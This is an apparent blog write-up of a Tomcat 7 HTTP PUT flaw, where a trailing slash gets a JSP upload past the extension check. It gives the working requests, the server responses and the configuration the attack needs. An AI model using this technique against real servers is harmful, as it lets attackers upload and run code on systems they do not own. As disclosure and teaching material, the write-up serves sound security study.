Exploit proof of concept:
You guys came for the code. So, click on my github repo link:
Warning: Don't die ROFL-ing as it's hilariously simple to exploit :D
Crux of the issue:
By design, if you try to upload a JSP file via the HTTP PUT method on the Tomcat server, it won't work. You can upload .html, .jpg, or any other extensions except .jsp, .jspx and the variants.
For example, if you try:
Request:
PUT /myfile.jsp HTTP/1.1Host: 127.0.0.1:8080Connection: closeContent-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
You will get an error :( such as the one shown in the below response.
Response:
HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 971Date: Sat, 23 Sep 2017 06:07:27 GMTConnection: close
...SNIPPED.<html><head><title>Apache Tomcat/7.0.79 - Error report</title><style><!--H1
...SNIPPED.<html><head><title>Apache Tomcat/7.0.79 - Error report</title><style><!--H1
However, you can bypass the extension check by appending a '/' behind the .jsp extension:
Request:
PUT /myfile.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
Response:
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:45:50 GMT
Connection: close
And I got the clue from the Apache site with the patch diff indicated here:
Pre-requisite:
1. PUT method is enabled through conf/web.xml
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
2. No authentication enforced in the security-constraint set at the app's WEB-INF/web.xml
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
References:
Apache Patch notes: https://tomcat.apache.org/security-7.html
Diff notes on the patch: http://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/naming/resources/FileDirContext.java?annotate=1804729&pathrev=1804729
Ok that's all for now.
JS out.